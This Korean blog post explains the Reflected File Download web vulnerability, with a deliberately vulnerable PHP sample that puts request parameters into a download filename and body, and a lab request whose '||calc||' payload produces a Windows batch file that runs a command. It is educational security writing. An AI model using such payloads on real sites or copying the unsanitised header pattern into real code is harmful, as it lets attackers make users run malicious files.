개요
사용자의 입력 데이터가 다운로드 되는 파일에 영향을 줄 경우, 이를 이용하여 정상적인 파일을 악성 파일로 변경하여 다운로드 하게 할 수 있습니다.
해당 취약점이 발생하기 위해서는 3가지의 조건이 필요합니다.
1. 파일 다운로드
Content-Disposition 헤더가 attachment로 구성되면 응답 데이터를 첨부파일로 다운로드 받을 수 있습니다.
2. 실행 가능한 확장자 및 파일 명 변경 필요
파일을 실행하는 클라이언트 측에서 실행 가능한 확장자로 다운로드 받을 수 있어야 합니다.
3. 사용자 입력 값 응답 데이터 반영
입력 값이 응답 데이터에 반영될 때 시스템 명령어를 통해 악성 코드를 생성할 수 있습니다.
Windows Command의 경우
"", "\" 모두 문자열을 닫은 것으로 인식한다.
A || B 의 경우 A 명령어가 실행되지 않았을 시에만 B 명령어를 실행한다.
분석
취약한 PoC 코드 (PHP)
<?php
header("Content-Disposition: attachment; filename=$_GET[name]");
$data = ['result' => $_GET['idx']];
echo json_encode($data);
?>
PoC 코드를 보면 GET 파라메터를 통하여 다운로드 받는 파일 확장자와 데이터 모두 조작할 수 있는 상태입니다.
Reqeust
GET /rfd.php?idx=Minseok"&name=1.html HTTP/1.1
Host: 192.168.123.171
~~~
Response
HTTP/1.1 200 OK
~~~
Content-Disposition: attachment; filename=1.html
Content-Length: 22
Connection: close
Content-Type: text/html; charset=UTF-8
{"result":"Minseok\""}
Windows의 경우 "" 와 "\" 모두 문자열을 닫은 것으로 인식하기 때문에, 이를 이용하여 악성 코드가 실행되게 할 수 있습니다.
Request
GET /rfd.php?idx=Minseok"||calc||&name=rfd.bat HTTP/1.1
Host: 192.168.123.171
~~~
Response
HTTP/1.1 200 OK
~~~
Content-Disposition: attachment; filename=rfd.bat
Content-Length: 22
Connection: close
Content-Type: text/html; charset=UTF-8
{"result":"Minseok\"||calc||"}
응답 데이터는 rfd.bat 파일로 다운로드 되며, 총 3가지의 시스템 명령어로 나눠지게 됩니다.
{"result":"Minseok\"||calc||"}
=> {"result":"Minseok\" (False)
=> calc (True)
=> "} (calc가 참이기 때문에 무시됨)
이 중 2번 째 명령어인 calc가 참으로써 실행되게 됩니다.
Reference
https://www.hahwul.com/2016/06/web-hacking-reflected-file-downloadrfd.html
'Hack > Web' 카테고리의 다른 글
Laravel SQL Injection ( Version < 5.8.11) (0) | 2020.09.22 |
---|---|
Laravel Framework 보안 관련 내용 정리 (0) | 2020.09.22 |
Phar 파일을 이용한 PHP Unserialization (0) | 2020.09.22 |
commons-fileupload Module WAF Filtering Bypass (0) | 2020.09.21 |
CVE 2020-10487 (Ghostcat : Tomcat AJP) (0) | 2020.09.21 |
댓글